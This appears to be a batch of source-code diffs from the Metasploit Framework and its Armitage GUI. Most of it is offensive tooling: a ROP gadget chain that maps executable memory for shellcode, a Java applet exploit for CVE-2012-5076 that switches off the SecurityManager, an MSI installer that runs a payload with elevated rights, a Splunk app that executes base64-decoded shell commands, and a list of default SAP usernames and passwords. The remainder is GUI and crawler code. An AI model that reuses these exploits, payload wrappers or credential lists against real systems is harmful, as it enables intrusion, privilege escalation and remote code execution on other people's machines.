<gadget offset="0x008cf86c">mmap64@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x000234e5">jmp eax</gadget>
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00394107">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x00021cd9">pop eax; ret</gadget>
<gadget offset="0x008cf1e8">memcpy@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x00020453">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
</db>

View File

@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
class WebPage < ActiveRecord::Base
serialize :headers
end
class WebVuln < ActiveRecord::Base
serialize :params
end
def bfilter(str)
str = str.to_s
str.encoding = 'binary' if str.respond_to?('encoding=')
str.gsub(/[\x00\x7f-\xff]/, '')
end
def self.up
rename_column :web_pages, :body, :body_text
rename_column :web_pages, :request, :request_text
rename_column :web_vulns, :request, :request_text
rename_column :web_vulns, :proof, :proof_text
add_column :web_pages, :body, :binary
add_column :web_pages, :request, :binary
add_column :web_vulns, :request, :binary
add_column :web_vulns, :request, :binary
add_column :web_vulns, :proof, :binary
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
remove_column :web_pages, :body_text
remove_column :web_pages, :request_text
remove_column :web_vulns, :request_text
remove_column :web_vulns, :proof_text
WebPage.connection.schema_cache.clear!
WebPage.reset_column_information
WebVuln.connection.schema_cache.clear!
WebVuln.reset_column_information
end
def self.down
@ -43,21 +48,25 @@ class ConvertBinary < ActiveRecord::Migration
rename_column :web_pages, :request, :request_binary
rename_column :web_vulns, :request, :request_binary
rename_column :web_vulns, :proof, :proof_binary
add_column :web_pages, :body, :text
add_column :web_pages, :request, :text
add_column :web_vulns, :request, :text
add_column :web_vulns, :proof, :text
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
remove_column :web_pages, :body_binary
remove_column :web_pages, :request_binary
remove_column :web_vulns, :request_binary
remove_column :web_vulns, :proof_binary
WebPage.connection.schema_cache.clear!
WebPage.reset_column_information
WebVuln.connection.schema_cache.clear!
WebVuln.reset_column_information
end
end

View File

@ -0,0 +1,13 @@
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
def self.up
add_column :web_vulns, :owner, :string
add_column :web_vulns, :payload, :text
end
def self.down
remove_column :web_vulns, :owner
remove_column :web_vulns, :payload
end
end

View File

@ -0,0 +1,14 @@
SAP* 06071992
SAP* PASS
DDIC 19920706
DDIC Welcome01
SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme
DEVELOPER ch4ngeme
J2EE_ADMIN ch4ngeme
SAPJSF ch4ngeme

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.44</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 16 Oct 12</p>
<br />Release: 26 Nov 12</p>
<br />
<p>Developed by:</p>

View File

@ -550,6 +550,11 @@ sub data_delete {
call("db.key_clear", $1);
}
# data_clear('key') -- clears all data associated with the specified key
sub data_clear {
data_delete($1);
}
# data_add('key', $object) -- appends value into the database...
sub data_add {
local('$buffer $data');
@ -860,7 +865,7 @@ sub file_content {
}
else {
local('%r');
%r = call("armitage.download", $1);
%r = call("armitage.download_nodelete", $1);
return %r['data'];
}
}

View File

@ -623,6 +623,34 @@ sub host_attack_items {
}
}
sub chooseSession {
local('@data $sid $data $host $hdata $temp $tablef');
# obtain a list of sessions
foreach $host (keys(%hosts)) {
foreach $sid => $data (getSessions($host)) {
$temp = copy($data);
$temp['sid'] = $sid;
push(@data, $temp);
}
}
# sort the session data
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
# update the table widths
$tablef = {
[[$1 getColumn: "sid"] setPreferredWidth: 100];
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
[[$1 getColumn: "info"] setPreferredWidth: 1024];
};
# let the user choose a session
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
[$call : $1];
}, $call => $4), \$tablef);
}
sub addFileListener {
local('$table $model $actions');
($table, $model, $actions) = @_;
@ -652,33 +680,7 @@ sub addFileListener {
$actions["WORDLIST"] = $actions["*FILE*"];
# set up an action to choose a session
$actions["SESSION"] = {
local('@data $sid $data $host $hdata $temp $tablef');
# obtain a list of sessions
foreach $host (keys(%hosts)) {
foreach $sid => $data (getSessions($host)) {
$temp = copy($data);
$temp['sid'] = $sid;
push(@data, $temp);
}
}
# sort the session data
@data = sort({ return $1['sid'] <=> $2['sid']; }, @data);
# update the table widths
$tablef = {
[[$1 getColumn: "sid"] setPreferredWidth: 100];
[[$1 getColumn: "session_host"] setPreferredWidth: 300];
[[$1 getColumn: "info"] setPreferredWidth: 1024];
};
# let the user choose a session
quickListDialog("Choose a session", "Select", @("sid", "sid", "session_host", "info"), @data, $width => 640, $height => 240, lambda({
[$call : $1];
}, $call => $4), \$tablef);
};
$actions["SESSION"] = lambda(&chooseSession);
# set up an action to pop up a file chooser for different file type values.
$actions["RHOST"] = {

View File

@ -239,6 +239,23 @@ sub init_menus {
dynmenu($top, "Help", 'H', &help_items);
# setup some global keyboard shortcuts...
[$frame bindKey: "Ctrl+I", {
thread({
chooseSession($null, $null, $null, {
local('$session');
$session = sessionData($1);
if ($session is $null) {
showError("Session $1 does not exist");
}
else if ($session['desc'] eq "Meterpreter") {
createMeterpreterTab($1);
}
else {
createShellSessionTab(\$session, $sid => $1);
}
});
});
}];
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];

View File

@ -104,13 +104,16 @@ sub parseMeterpreter {
}
sub interpretMeterpreterCommand {
if ([$1 getActionCommand] eq "shell") {
local('$c');
$c = [lc([$1 getActionCommand] . "") trim];
if ($c eq "shell") {
createShellTab($sid);
}
else if ([$1 getActionCommand] eq "screenshot") {
else if ($c eq "screenshot") {
[createScreenshotViewer($sid)];
}
else if ([$1 getActionCommand] eq "webcam_snap") {
else if ($c eq "webcam_snap") {
[createWebcamViewer($sid)];
}
}
@ -168,7 +171,9 @@ sub showMeterpreterMenu {
}, $sid => "$sid"));
item($j, "Escalate Privileges", 'E', lambda({
showPostModules($sid, "*escalate*");
showPostModules($sid, "*escalate*",
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
);
}, $sid => "$sid"));
item($j, "Steal Token" , "S", lambda({

View File

@ -251,7 +251,7 @@ sub showExploitModules {
# shows the post modules compatible with a session... for this to work, the
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
sub showPostModules {
local('@allowed $2');
local('@allowed $2 $3');
@allowed = getOS(sessionToOS($1));
fork({
local('$modules %list $model');
@ -270,7 +270,13 @@ sub showPostModules {
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
}
%list = ohash(post => buildTree($modules));
if ($base is $null) {
%list = ohash(post => buildTree($modules));
}
else {
%list = $base;
%list['post'] = buildTree($modules);
}
$model = treeNodes($null, %list);
dispatchEvent(lambda({
@ -282,7 +288,7 @@ sub showPostModules {
}
[$search setText: ""];
}, \$search, \$tree, \$model));
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2, $base => $3);
}
sub createModuleBrowserTab {

View File

@ -96,6 +96,33 @@ sub createCredentialsTab {
($dialog, $table, $model) = show_hashes("", 320);
[$dialog removeAll];
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$popup $entries');
$popup = [new JPopupMenu];
$entries = [$model getSelectedValuesFromColumns: $table, @("user", "pass", "host")];
item($popup, "Delete", 'D', lambda({
local('$queue $entry $user $pass $host');
$queue = [new armitage.ConsoleQueue: $client];
foreach $entry ($entries) {
($user, $pass, $host) = $entry;
[$queue addCommand: $null, "creds -d $host -u $user -P $pass"];
}
[$queue addCommand: "x", "creds -h"];
[$queue addListener: lambda({
[$queue stop];
refreshCredsTable($model, $null);
}, \$model, \$queue)];
[$queue start];
[$queue stop];
}, \$table, \$model, \$entries));
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
}
}, \$table, \$model));
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];

View File

@ -75,7 +75,7 @@ sub createProcessBrowser {
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
local('$a $b $bb $c');
local('$a $b $bb $bbb $c');
$a = [new JButton: "Kill"];
[$a addActionListener: lambda({
local('$procs $v');
@ -105,6 +105,15 @@ sub createProcessBrowser {
}
}, $m => $1, \$table, \$model)];
$bbb = [new JButton: "Steal Token"];
[$bbb addActionListener: lambda({
local('$v');
$v = [$model getSelectedValue: $table];
if ($v !is $null) {
m_cmd_callback($m, "steal_token $v", { if ($0 eq "end") { showError(["$2" trim]); } });
}
}, $m => $1, \$table, \$model)];
$c = [new JButton: "Refresh"];
[$c addActionListener:
lambda({
@ -112,7 +121,7 @@ sub createProcessBrowser {
}, $m => $1)
];
[$panel add: center($a, $b, $bb, $c), [BorderLayout SOUTH]];
[$panel add: center($a, $b, $bb, $bbb, $c), [BorderLayout SOUTH]];
[$frame addTab: "Processes $1", $panel, $null, "Processes " . sessionToHost($1)];
m_cmd($1, "ps");

View File

@ -163,6 +163,10 @@ global('%shells $ashell $achannel %maxq %wait');
# make our shell heuristic tolerant of prompts like this.
%wait[$achannel] = $null;
}
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
# make our shell heuristic tolerant of more prompts... this is from the time command
%wait[$achannel] = $null;
}
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
m_cmd($1, "read $achannel");
}
@ -254,7 +258,14 @@ sub showShellMenu {
}
item($1, "Post Modules", 'P', lambda({
showPostModules($sid);
if ("*Windows*" iswm sessionToOS($sid)) {
showPostModules($sid);
}
else {
showPostModules($sid, "*",
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
);
}
}, \$sid));
separator($1);

View File

@ -164,6 +164,21 @@ public class MeterpreterSession implements Runnable {
readUntilSuccessful(c, false);
return;
}
else if (c.text.startsWith("add_user") && !teammode) {
/* when -h [host] is specified, attempts to add a user on another
host. In this case, output is split into multiple chunks.
This applies to add_localgroup_user and add_group_user too. */
readUntilSuccessful(c, false);
return;
}
else if (c.text.startsWith("add_localgroup_user") && !teammode) {
readUntilSuccessful(c, false);
return;
}
else if (c.text.startsWith("add_group_user") && !teammode) {
readUntilSuccessful(c, false);
return;
}
//System.err.println("(" + session + ") latency: " + (System.currentTimeMillis() - c.start) + " -- " + c.text);

View File

@ -57,6 +57,13 @@ public class MsgRpcImpl extends RpcConnectionImpl {
/* login to msf server */
Object[] params = new Object[]{ username, password };
Map results = exec("auth.login",params);
/* save the temp token (lasts for 5 minutes of inactivity) */
rpcToken = results.get("token").toString();
/* generate a non-expiring token and use that */
params = new Object[]{ rpcToken };
results = exec("auth.token_generate", params);
rpcToken = results.get("token").toString();
}

View File

@ -33,10 +33,6 @@ public class KeyBindings implements KeyEventDispatcher {
}
public boolean dispatchKeyEvent(KeyEvent ev) {
if (ev.getID() != KeyEvent.KEY_PRESSED) {
return false;
}
StringBuffer description = new StringBuffer();
if (ev.getModifiers() != 0) {
description.append(getKeyModifiers(ev));
@ -46,9 +42,14 @@ public class KeyBindings implements KeyEventDispatcher {
synchronized (this) {
if (bindings.containsKey(description.toString())) {
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
ev.consume();
return true;
if (ev.getID() != KeyEvent.KEY_PRESSED) {
return false;
}
else {
SwingUtilities.invokeLater(new ExecuteBinding(description.toString(), (KeyHandler)bindings.get(description.toString())));
return true;
}
}
}

View File

@ -1,6 +1,29 @@
Armitage Changelog
==================
26 Nov 12 (tested against msf 16114)
---------
- Windows command shell tab is now friendlier to commands that prompt
for input (e.g., time command)
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
the framework's new exploit/windows/local modules too
- [host] -> Shell -> Post Modules now shows the framework's unix/local
and exploit/linux/local modules
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
- Added Steal Token button to Processes dialog.
- Armitage now asks Metasploit for a non-expiring authentication token.
This will prevent Armitage from losing its access to msfrpcd when you
put your computer to sleep or pause the VM running Metasploit.
- add_user and add_[local]group_user now show all of their output when
the -h flag is used to operate on a remote host.
- added a Delete menu to creds table. Right-click a cred to delete it
Cortana Updates (for scripters)
--------
- aliased &data_delete to &data_clear to match the documentation.
- &file_get, &loot_get, and &file_content no longer delete the remote
file when connected to a teamserver.
16 Oct 12 (tested against msf 15972)
---------
- Added port 5985 to MSF Scans list.

View File

@ -0,0 +1,69 @@
import java.applet.Applet;
import java.io.PrintStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import metasploit.Payload;
//import java.lang.Runtime;
public class Exploit extends Applet
{
public Exploit()
{
}
public byte[] hex2Byte(String str)
{
byte[] bytes = new byte[str.length() / 2];
for (int i = 0; i < bytes.length; i++)
{
bytes[i] = (byte) Integer
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
}
return bytes;
}
public void init()
{
try
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("MyPayload.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object obj = genericconstructor.create(new Object[] {});
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
Class class1 = (Class)method.invoke(obj, new Object[] {
//byte_payload
buffer
});
class1.newInstance();
//System.out.println("SecurityManager:" + System.getSecurityManager());
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
Payload.main(null);
//Runtime.getRuntime().exec("calc.exe");
}
catch(Exception exception)
{
//exception.printStackTrace();
}
}
}

View File

@ -0,0 +1,18 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
MyPayload.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
all: $(CLASSES:.java=.class)
install:
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
clean:
rm -rf *.class

View File

@ -0,0 +1,33 @@
import java.security.*;
public class MyPayload
implements PrivilegedExceptionAction
{
public MyPayload()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
//e.printStackTrace();
}
}
public Object run()
throws Exception
{
System.setSecurityManager(null);
return null;
}
public static void r()
throws Exception
{
//System.out.println("hello!");
}
}

View File

@ -0,0 +1,29 @@
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
<Product Name='Foobar 1.0' Id='*'
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
<Directory Id='TARGETDIR' Name='SourceDir'>
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
<Condition>0</Condition>
</Component>
</Directory>
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
<Feature Id='Complete' Level='1'>
<ComponentRef Id='MyComponent' />
</Feature>
<InstallExecuteSequence>
<ResolveSource After="CostInitialize" />
<Custom Action="ExecNotepad" After="InstallInitialize" />
</InstallExecuteSequence>
</Product>
</Wix>

View File

@ -0,0 +1,15 @@
import sys
import base64
import splunk.Intersplunk
results = []
try:
sys.modules['os'].system(base64.b64decode(sys.argv[1]))
except:
import traceback
stack = traceback.format_exc()
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
splunk.Intersplunk.outputResults(results)

View File

@ -0,0 +1,7 @@
[launcher]
author=Marc Wickenden
description=Metasploit module spunk_upload_app_exec.rb
version=1.3.3.7
[ui]
is_visible = true

View File

@ -0,0 +1,7 @@
[msf_exec]
type = python
filename = msf_exec.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0

View File

@ -0,0 +1,2 @@
[commands]
export = system

View File

@ -423,7 +423,12 @@ nameloop: for (int i = 0; i < names.length; i++) {
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
return new ActionListener(){
public void actionPerformed(ActionEvent e) {
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
//If we have saved options for this module, use those
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
else //otherwise go with the default
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
}
};
}

View File

@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
}
Map hash = (Map)args.get(2);
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
//Save these options
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
propRoot.put("modOptions", new HashMap());
((Map)propRoot.get("modOptions")).put(name.toString(), args);
//Generate display name
for(Object ento : hash.entrySet()){
Entry ent = (Entry)ento;
String propName = ent.getKey().toString();
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
name.append(" ").append(propName).append("-").append(ent.getValue());
}
//Make menu item
final JMenuItem item = new JMenuItem(name.toString());
item.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {

View File

@ -0,0 +1,7 @@
This directory must be populated with the libs and includes for the commercial
Packet SDK in order for the sniffer extension to build. This SDK is not
publicly available at this time.
The 32-bit lib should be copied to win32/pssdk.lib
The 64-bit lib should be copied to win64/pssdk.lib

View File

View File

View File

View File

@ -9,7 +9,7 @@ require 'anemone/storage/base'
module Anemone
VERSION = '0.5.0';
VERSION = '0.5.0'
#
# Convenience method to start a crawl
@ -48,7 +48,7 @@ module Anemone
:cookies => nil,
# basic authentication data to send with HTTP requests
:http_basic_auth => nil,
# array or raw header lines to inject into each request
# array or raw header lines to inject into each request
:inject_headers => [],
# accept cookies from the server and send them back?
:accept_cookies => false,
@ -77,7 +77,7 @@ module Anemone
@skip_link_patterns = []
@after_crawl_blocks = []
@opts = opts
yield self if block_given?
end
@ -277,7 +277,7 @@ module Anemone
false
end
end
#
# Returns +true+ if *link* should not be visited because
# it has a query string and +skip_query_strings+ is true.
@ -301,6 +301,6 @@ module Anemone
@tentacles.each {|t| t.kill rescue nil }
@pages = nil
end
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Anchors < Anemone::Extractors::Base
def run
doc.search( '//a[@href]' ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,12 @@
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
def run
return [] if page.code.to_i != 200
@@dirs ||= nil
return @@dirs if @@dirs
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
end
end

View File

@ -0,0 +1,10 @@
test/
tmp/
stuff/
awstats/
awstats/awstats/
basilic/
cacti/
docs/text/manual.txt
docs/CHANGELOG
docs/html/php_script_server.html

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Forms < Anemone::Extractors::Base
def run
doc.search( '//form[@action]' ).map { |a| a['action'] }
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Frames < Anemone::Extractors::Base
def run
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
end
end

View File

@ -0,0 +1,50 @@
require 'uri'
class Anemone::Extractors::Generic < Anemone::Extractors::Base
def run
URI.extract( doc.to_s, %w(http https) ).map do |u|
#
# This extractor needs to be a tiny bit intelligent because
# due to its generic nature it'll inevitably match some garbage.
#
# For example, if some JS code contains:
#
# var = 'http://blah.com?id=1'
#
# or
#
# var = { 'http://blah.com?id=1', 1 }
#
#
# The URI.extract call will match:
#
# http://blah.com?id=1'
#
# and
#
# http://blah.com?id=1',
#
# respectively.
#
if !includes_quotes?( u )
u
else
if html.include?( "'#{u}" )
u.split( '\'' ).first
elsif html.include?( "\"#{u}" )
u.split( '"' ).first
else
u
end
end
end
rescue
[]
end
def includes_quotes?( url )
url.include?( '\'' ) || url.include?( '"' )
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Links < Anemone::Extractors::Base
def run
doc.search( "//link[@href]" ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,24 @@
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
def run
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
begin
_, url = url['content'].split( ';', 2 )
next if !url
unquote( url.split( '=', 2 ).last )
rescue
next
end
end
rescue
nil
end
def unquote( str )
[ '\'', '"' ].each do |q|
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
end
str
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
def run
doc.search( '//script[@src]' ).map { |a| a['src'] }
end
end

View File

@ -3,6 +3,22 @@ require 'ostruct'
require 'webrick/cookie'
module Anemone
# Path extractor container namespace.
module Extractors
class Base
attr_reader :page
def initialize( page )
@page = page
end
def doc
page.doc
end
end
end
class Page
# The URL of the page
@ -31,7 +47,7 @@ module Anemone
attr_accessor :response_time
# Storage for the original HTTP request that generated this response
attr_accessor :request
#
# Create a new page
#
@ -53,51 +69,52 @@ module Anemone
@fetched = !params[:code].nil?
end
def self.extractors
return @extractors if @extractors
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
Dir.glob( lib ).each { |e| require e }
@extractors = Extractors.constants.map do |e|
next if e == :Base
Extractors.const_get( e )
end.compact
end
def run_extractors
return [] if !doc
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
compact.map do |p|
abs = to_absolute( URI( p ) ) rescue next
!in_domain?( abs ) ? nil : abs
end.compact.uniq
end
#
# Array of distinct A tag HREFs from the page
#
# MODIFIED: Dig URLs from elements other than "A" refs
#
# MODIFIED: Dig URLs from elements other than "A" refs
#
def links
return @links unless @links.nil?
return @links if @links
@links = []
return @links if !doc
# First extract normal, direct links
etypes = %W{a frame iframe}
doc.css(*etypes).each do |r|
u = r['src'] || r['href']
next if u.nil? or u.empty?
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
# Now create links from other content URLs
etypes = %W{img script link form}
doc.css(*etypes).each do |r|
u = r['src'] || r['href'] || r['action']
next if u.nil? or u.empty?
# Remove any query string
u,tmp = u.split('?',2)
# Back off to the containing directory
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
nlinks = []
@links.each do |u|
bits = u.path.split('/')
while(bits.length > 0)
@links = run_extractors
@links |= @links.map do |u|
# back-off to the parent dir
to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
end.uniq.compact
@links |= @links.map do |u|
bits = u.path.split( '/' )
while bits.length > 0
bits.pop
nlinks << to_absolute(URI(bits.join('/'))) rescue next
end
end
@links.push(nlinks)
to_absolute( URI( bits.join( '/' ) ) ) rescue next
end
end.uniq.compact
@links.flatten!
@links.uniq!
@links
@ -206,7 +223,7 @@ module Anemone
'headers' => Marshal.dump(@headers),
'data' => Marshal.dump(@data),
'body' => @body,
'links' => links.map(&:to_s),
'links' => links.map(&:to_s),
'code' => @code,
'visited' => @visited,
'depth' => @depth,
@ -234,5 +251,10 @@ module Anemone
end
page
end
def dup
Marshal.load( Marshal.dump( self ) )
end
end
end

View File

@ -5,7 +5,7 @@ require 'anemone/cookie_store'
#
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
# library and the Rex::Proto::Http protocol stack.
# library and the Rex::Proto::Http protocol stack.
#
module Anemone
@ -39,7 +39,7 @@ module Anemone
url = URI(url) unless url.is_a?(URI)
pages = []
get(url, referer) do |response, code, location, redirect_to, response_time|
page = Page.new(location, :body => response.body.dup,
:code => code,
:headers => response.headers,
@ -84,7 +84,7 @@ module Anemone
def virtual_host(url)
url.host
end
#
# Does this HTTP client accept cookies from the server?
#
@ -109,15 +109,15 @@ module Anemone
response, response_time = get_response(loc, referer)
code = response.code.to_i
redirect_to = nil
if code >= 300 and code <= 310
redirect_to = URI(response['location']).normalize
end
yield response, code, loc, redirect_to, response_time
limit -= 1
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
end
@ -129,12 +129,11 @@ module Anemone
# it is sent to the remote system.
#
def get_response(url, referer = nil)
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
opts = {
'uri' => url.path
'uri' => url.path,
'query' => url.query
}
opts['agent'] = user_agent if user_agent
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
@ -142,7 +141,7 @@ module Anemone
if referer
head['Referer'] = referer.to_s
end
if @opts[:http_basic_auth]
head['Authorization'] = "Basic " + @opts[:http_basic_auth]
end
@ -151,24 +150,24 @@ module Anemone
k,v = hdr.split(':', 2)
head[k] = v
end
opts['headers'] = head
retries = 0
begin
start = Time.now()
response = nil
request = nil
begin
conn = connection(url)
request = conn.request_raw(opts)
response = conn.send_recv(request, @opts[:timeout] || 10 )
response = conn.send_recv(request, @opts[:timeout] || 10 )
rescue ::Errno::EPIPE, ::Timeout::Error
end
finish = Time.now()
response_time = ((finish - start) * 1000).round
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
return response, response_time
@ -191,12 +190,12 @@ module Anemone
'SSLv23',
@opts[:proxies]
)
conn.set_config(
'vhost' => virtual_host(url),
'agent' => user_agent
)
conn
end

View File

@ -8,7 +8,7 @@
#
#
# This format was specifically created to improve the performance and
# This format was specifically created to improve the performance and
# AV-resistance of the Metasploit Framework and Rex libraries.
#
@ -26,7 +26,7 @@ require "find"
# Copyright (C) 2011 Rapid7. You can redistribute it and/or
# modify it under the terms of the ruby license.
#
#
#
# Roughly based on the rubyzip zip/ziprequire library:
# >> Copyright (C) 2002 Thomas Sondergaard
# >> rubyzip is free software; you can redistribute it and/or
@ -42,10 +42,10 @@ class FastLib
FLAG_COMPRESS = 0x01
FLAG_ENCRYPT = 0x02
@@cache = {}
@@has_zlib = false
#
# Load zlib support if possible
#
@ -54,16 +54,16 @@ class FastLib
@@has_zlib = true
rescue ::LoadError
end
#
# This method returns the version of the fastlib library
#
def self.version
VERSION
end
#
# This method loads content from a specific archive file by name. If the
